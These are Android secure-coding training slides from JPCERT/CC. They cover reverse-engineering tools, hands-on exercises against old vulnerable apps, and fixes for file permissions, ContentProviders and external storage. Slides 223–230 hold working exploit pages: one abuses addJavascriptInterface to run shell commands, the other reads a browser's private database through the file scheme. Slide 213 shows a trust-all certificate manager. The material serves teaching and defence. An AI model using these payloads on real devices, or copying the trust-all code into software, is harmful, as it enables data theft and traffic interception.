- 202. Copyright©2015 JPCERT/CC All rights reserved.
apktool
apktool
—https://ibotpeaches.github.io/Apktool/
—for reverse engineering apk files
—Features
decode resources
rebuild
etc.
202
- 203. Copyright©2015 JPCERT/CC All rights reserved.
dex2jar
dex2jar
—https://github.com/pxb1988/dex2jar
—convert Android dex file to Java class file
203
- 206. Copyright©2015 JPCERT/CC All rights reserved.
SSL Vulnerability
Many app contains SSL vulnerability.
—The FireEye Mobile Security Team analyzed the 1,000 most
downloaded free apps in Google Play. They found SSL
Vulnerability in about 68% of apps.
206
http://www.fireeye.com/blog/technical/2014/08/ssl-vulnerabilities-who-
listens-when-android-applications-talk.html
- 207. Copyright©2015 JPCERT/CC All rights reserved.
Install vulnerable app
Vulnerable app
—Monaca Debugger for Android ver1.4.1
Monaca Debugger for Android contains an issue where it fails
to verify SSL server certificates.
Installation
207
adb install mobi.monaca.debugger-‐1.4.1.apk
- 208. Copyright©2015 JPCERT/CC All rights reserved.
Exercise: SSL Vulnerability
PC
—Run the mitmproxy or Fiddler in PC
mitmproxy
—Defaultport: 8080
Fiddler
—Defaultport: 8888
Android
—[Settings] > [Wi-Fi] > [target AP]
Tap the [Show advanced options]
—Change proxy settings
[Proxy hostname], [Proxy port]
—Launch Monaca Debugger
Type "hoge@example.com" in the Email Address
and "abcdefg" in the Password, Tap Login.
208
- 211. Copyright©2015 JPCERT/CC All rights reserved.
Analysis
Decode resources
—Decode files output "out" directory.
Convert a dex file to a jar file
—Launch JD-GUI
—Open the jar file
mobi.monaca.debugger-1.4.1_dex2jar.jar
211
dex2jar.sh mobi.monaca.debugger-‐1.4.1.apk
java –jar apktool.jar d mobi.monaca.debugger-‐1.4.1.apk out
- 213. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
mobi.monaca.framework.util.MySSLSocketFactory
213
public class MySSLSocketFactory extends org.apache.http.conn.ssl.SSLSocketFactory
{
SSLContext sslContext = SSLContext.getInstance("TLS");
public MySSLSocketFactory(KeyStore paramKeyStore)
throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException, UnrecoverableKeyException
{
super(paramKeyStore);
X509TrustManager local1 = new X509TrustManager()
{
public void checkClientTrusted(X509Certificate[] paramAnonymousArrayOfX509Certificate, String paramAnonymousString)
throws CertificateException
{
}
public void checkServerTrusted(X509Certificate[] paramAnonymousArrayOfX509Certificate, String paramAnonymousString)
throws CertificateException
{
}
public X509Certificate[] getAcceptedIssuers()
{
return null;
}
};
- 215. Copyright©2015 JPCERT/CC All rights reserved.
Install vulnerable app
Vulnerable app
—Monaca Debugger for Android ver1.4.1
Monaca Debugger for Android contains an information
management vulnerability.
Installation
215
adb install mobi.monaca.debugger-‐1.4.1.apk
- 216. Copyright©2015 JPCERT/CC All rights reserved.
Exercise: Logging Vulnerability
Connect Android to PC using the USB
—Android
Enable [Developer options] > [USB debugging]
—On Android 4.2 and higher, the Developeroptions screen is
hidden by default. Goto [Settings]> [About phone]and tap [Build
number]seven times.
—PC
Launch Monaca Debugger
—Type "hoge@example.com" in the Email Address
and "abcdefg" in the Password, tap Login.
216
adb shell logcat
- 219. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
mobi.monaca.debuggar.api.LoginResultEntry
219
public static LoginResultEntry build(String paramString, UserEntry paramUserEntry)
{
while (true)
{
try
{
JSONObject localJSONObject = new JSONObject(paramString);
String str1 = localJSONObject.optString("status");
String str2 = localJSONObject.optString("result");
if ((str1.equals("ok")) && (str2.equals("ok")))
{
localLoginResultEntry1 = new LoginResultEntry(paramUserEntry, localJSONObject.optString("alert"),
localJSONObject.optString("confirm"), localJSONObject.optString("redirect"));
Log.i(TAG, "loginResultEntry:" + localLoginResultEntry1);
return localLoginResultEntry1;
}
}
catch (JSONException localJSONException)
{
MyLog.d(TAG, "error: JSONException, return failure()");
LoginResultEntry localLoginResultEntry2 = failure();
localLoginResultEntry2.setUserEntry(paramUserEntry);
return localLoginResultEntry2;
}
- 221. Copyright©2015 JPCERT/CC All rights reserved.
WebView Vulnerability
Javascript is turned on
—WebView#addJavascriptInterface
—same origin policy
XMLHttpRequest
File schema
221
- 222. Copyright©2015 JPCERT/CC All rights reserved.
WebView#addJavascriptInterface
WebView#addJavascriptInterface(Object object, String
name)
—allows the Java object's method to be accessed from
Javascript
222
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSObject(this),
"jsobject");
}
public class JSObject {
Context mContext;
public JSObject(Context context) {
mContext = context;
}
}
- 223. Copyright©2015 JPCERT/CC All rights reserved.
Install vulnerable app
Vulnerable app
—Sleipnir Mobile for Android 2.0.4
Sleipnir Mobile for Android contains an arbitrary Java method
execution vulnerability.
Installation app
Exploit code
223
adb install jp.co.fenrir.android.sleipnir-‐2.0.4.apk
adb push addjavascriptinterface.html /mnt/sdcard/
- 224. Copyright©2015 JPCERT/CC All rights reserved.
Exercise: WebView Vulnerability
Launch Sleipnir Mobile
Open exploit html file
—file://mnt/sdcard/addjavascriptinterface.html
224
- 225. Copyright©2015 JPCERT/CC All rights reserved.
Exploit code
addjavascriptinterface.html
225
<html>
<body>
<p>WebView Vulnerability: addJavascriptInterface</p>
<script>
var myclass = SleipnirMobile;
var classLoader = myclass.getClass().getClassLoader();
// using android.os.Build
var buildClass = classLoader.loadClass('android.os.Build');
document.write("<br />");
document.write(buildClass.getField('SERIAL').get(null).toString());
document.write("<br />");
document.write(buildClass.getField('FINGERPRINT').get(null).toString());
// using java.lang.Runtime
var runtimeClass = classLoader.loadClass('java.lang.Runtime');
var runtimeMethod = runtimeClass.getMethod('getRuntime', null);
var get_runtime = runtimeMethod.invoke(null, null);
document.write("<br />");
document.write("create a text file on /mnt/sdcard/");
document.write(get_runtime.exec(['sh', '-‐c', 'touch /mnt/sdcard/hoge.txt']));
</script>
</body>
</html>
- 227. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
jp.co.fenrir.android.sleipnir.tab.Tab
227
this.i.getSettings().setGeolocationEnabled(true);
this.i.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
this.i.getSettings().setSavePassword(b.t().getBoolean(jp.co.fenrir.android.sleipnir.ac.H.name(), true));
this.i.b(b.t().getBoolean(jp.co.fenrir.android.sleipnir.ac.ai.name(), false));
try
{
this.i.getSettings().setBuiltInZoomControls(true);
Field localField = this.i.getSettings().getClass().getDeclaredField("mBuiltInZoomControls");
localField.setAccessible(true);
localField.set(this.i.getSettings(), Boolean.valueOf(false));
this.i.setWebViewClient(new l(this));
this.i.setWebChromeClient(new Tab.7(this));
this.i.setDownloadListener(new v(this));
this.i.addJavascriptInterface(new Tab.JsSleipnirMobile(this, null), "SleipnirMobile");
this.i.addJavascriptInterface(new Tab.JsSlexApi(this, null), "SleipnirExtensionApi");
if (this.m != null)
{
jp.co.fenrir.android.sleipnir.viewmode.a locala = this.m;
this.m = null;
a(locala);
}
- 228. Copyright©2015 JPCERT/CC All rights reserved.
File schema Vulnerability
Vulnerable app
—Sleipnir Mobile for Android 2.0.4
If a user of the affected product uses other malicious Android
app, information managed by the affected product may be
disclosed.
Exploit code
228
adb push fileschema.html /mnt/sdcard/
- 229. Copyright©2015 JPCERT/CC All rights reserved.
Exercise: WebView Vulnerability
Type the following command:
229
adb shell am start -‐n jp.co.fenrir.android.sleipnir/.main.IntentActivity
file:///mnt/sdcard/fileschema.html
- 230. Copyright©2015 JPCERT/CC All rights reserved.
Exploit code
fileschema.html
230
<html>
<body>
<p>WebView Vulnerability: File schema</p>
<div id="result">
</div>
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET',
'file:///data/data/jp.co.fenrir.android.sleipnir/databases/history.db',
false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
document.getElementById('result').innerHTML = ret;
</script>
</body>
</html>
- 232. Copyright©2015 JPCERT/CC All rights reserved.
Mobile Security Framework
https://github.com/ajinabraham/YSO-Mobile-Security-
Framework
—Open Source Static analysis tool for Android/iOS
—Requirements
Python 2.7
Django 1.8
Oracle Java 1.7 or above
232
- 235. Copyright©2015 JPCERT/CC All rights reserved.
Sample Application
RSS Viewer
retrieve RSS data and
—parse it
—store it in DB
—display it using
ListView
WebView
235
- 236. Copyright©2015 JPCERT/CC All rights reserved.
Eclipse Settings
236
Check the text encoding and build target
text encoding is "UTF-‐‑‒8" Installed SDK version
- 237. Copyright©2015 JPCERT/CC All rights reserved.
Sample Application
237
Don't look at the
next slides to
cheat!
Find as many
vulnerabilities
as you can!
- 238. Copyright©2015 JPCERT/CC All rights reserved.
Flaws
File Permission
App data is accessible/manipulative from other apps
Storing data on external media
Logging
Unnecessary permission request
……
238
- 239. Copyright©2015 JPCERT/CC All rights reserved.
Spot the flaw
239
• File permission of the DB is inappropriate
• the permission of rss.db is 644
• accessible from other apps
- 240. Copyright©2015 JPCERT/CC All rights reserved.
Location: Inappropriate DB file permission
240
• Corresponding code:
• RssContentProvider#onCreate
• RssContentProvider#insert
• RssContentProvider#query
RssContentProvider#insert
- 241. Copyright©2015 JPCERT/CC All rights reserved.
Details: Inappropriate DB file permission
241
SQLiteDatabase#openOrCreateDatabase
• no argument to specify file permission
• DB file will be created with permission 644
• SQLiteDatabase#dbopen is called
• Native method is called
• android_database_SQLiteDatabase.cpp
• dbopen method
• sqlite3_open_v2 function is used to create
a file
• you cannot specify permission 660
- 242. Copyright©2015 JPCERT/CC All rights reserved.
Solution 1
242
Context#openOrCreateDatabase
• 2nd argument sets the file permission
• Internally,
• calls SQLiteDatabase#openOrCreateDatabase
• then changes the permission using
setFilePermissionsFromMode
• specifiable permissions:
• Context.MODE_PRIVATE
• Context.MODE_WORLD_READABLE
• Context.MODE_WORLD_WRITEABLE
- 243. Copyright©2015 JPCERT/CC All rights reserved.
Solution 2
243
SQLiteOpenHelper Class
• Internally,
• calls Context#openOrCreateDatabase
• Cannot specify a permission but
• file is created with Context.MODE_PRIVATE
SQLiteOpenHelper.java
- 244. Copyright©2015 JPCERT/CC All rights reserved.
Solution 3
244
File#setReadable /File#setWritable
• avaliable in Android 2.3 or later
• create a DB file using
SQLiteDatabase#openOrCreateDatabase and then set a file
permission
- 245. Copyright©2015 JPCERT/CC All rights reserved.
Solution 4
245
non-public method: FileUtils#setPermissions
• create a DB file using
SQLiteDatabase#openOrCreateDatabase and then set a
file permission
- 246. Copyright©2015 JPCERT/CC All rights reserved.
File Permissions
246
Available file permissions:
• Context.MODE_PRIVATE
• Context.MODE_WORLD_READABLE
• Context.MODE_WORLD_WRITEABLE
Methods to create a new file (can specify
permissions):
• getSharedPreferences
• openFileOutput
- 247. Copyright©2015 JPCERT/CC All rights reserved.
DB File
247
SQLite
• SQLite has no option to encrypt database
• you can easily read the DB using dump
command
SQLCipher for Android
• SQLite with encryption
• 256-bit AES to encrypt DB
https://github.com/sqlcipher/android-database-sqlcipher
- 248. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Application
248
Skype for Android
• DB file permission was 666
• Other apps could read
phone number, chat history
etc.
http://www.androidpolice.com/2011/04/14/exclusive-vulnerability-in-skype-for-android-is-exposing-your-name-
phone-number-chat-logs-and-a-lot-more/#how-can-skype-fix-this
Creating a file using native
code was a root cause of this
vuln.
- 249. Copyright©2015 JPCERT/CC All rights reserved.
Data Access/Manipulation
249
ContentProvider
• mechanism to share data between applications
• makes it easy to implement reading/writing data
• don't need to worry about locking/exclusive access
control
Without proper access control, other application
can retrieve/manipulate your content provider
- 250. Copyright©2015 JPCERT/CC All rights reserved.
Spot the flaw
250
AndroidManifest.xml
• The spot where the original ContentProvider is
declared
• <provider />
- 251. Copyright©2015 JPCERT/CC All rights reserved.
Solution
251
AndroidManifest.xml
<provider android:name=“RssContentProvider"
android:authorities="com.example.app.Provider"
android:exported=“false" />
don't make it public
<provider android:name=“RssContentProvider"
android:authorities="com.example.app.Provider"
android:permission="com.example.app.permission.Provider" />
<permission android:name="com.example.app.permission.Provider" />
Limit the access to the app that has a specific permission
<provider android:name=“RssContentProvider"
android:authorities="com.example.app.Provider"
android:permission="com.example.app.permission.Provider" />
<permission android:protectionLevel="signature"
android:name="com.example.app.permission.Provider" />
Limit the access to the app that has the same signature
However,forAndroid v2.2(API8)
and before,exported="false"
may not be effective
for Android 4.2(API17) or later,
exported="false" by default
- 252. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Application
252
Dropbox for
Android
• other apps could access the
application data via
ContentProvider of
Dropbox
• this could lead to the
manipulation of DB , which
may allow attacker's access
to DB data
http://www.net-security.org/secworld.php?id=11456
- 253. Copyright©2015 JPCERT/CC All rights reserved.
External Data Storage
253
xml file is stored on external storage (SD card)
the content of the xml file is RSS data
- 254. Copyright©2015 JPCERT/CC All rights reserved.
Spot the external data storage
254
RssParser.javaif (code == HttpStatus.SC_OK) {
result = EntityUtils.toString(response.getEntity(), "UTF-‐8");
BufferedOutputStream bufOutputStream = new BufferedOutputStream(
new FileOutputStream(
new File(Environment
.getExternalStorageDirectory(), "rss.xml")));
bufOutputStream.write(result.getBytes());
bufOutputStream.flush();
bufOutputStream.close();
}
BufferedReader bufferedReader = new BufferedReader(
new FileReader(
new File(Environment
.getExternalStorageDirectory(), "rss.xml")));
String line = bufferedReader.readLine();
while (line != null) {
body += line;
line = bufferedReader.readLine();
}
bufferedReader.close();
Retrieved RSS data is stored on external media.
Stored RSS file is opened
to be parsed.
- 255. Copyright©2015 JPCERT/CC All rights reserved.
Solution
255
RssParser.javaif (code == HttpStatus.SC_OK) {
result = EntityUtils.toString(response.getEntity(), "UTF-‐8");
OutputStream os = mContext.openFileOutput("rss.xml",
Context.MODE_PRIVATE);
os.write(result.getBytes());
os.close();
}
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(
mContext.openFileInput("rss.xml")));
String line = bufferedReader.readLine();
while (line != null) {
body += line;
line = bufferedReader.readLine();
}
bufferedReader.close();
Store data in application directory
Open data from app directory
and then parse the data
- 256. Copyright©2015 JPCERT/CC All rights reserved.
External Storage
256
• Any application can access external storage
• READ_EXTERNAL_STORAGE permission
need in Android 4.4(API19) or later
• Stored data may be tampered…
• If sensitive data is stored there…
Use of External Storage needs extreme caution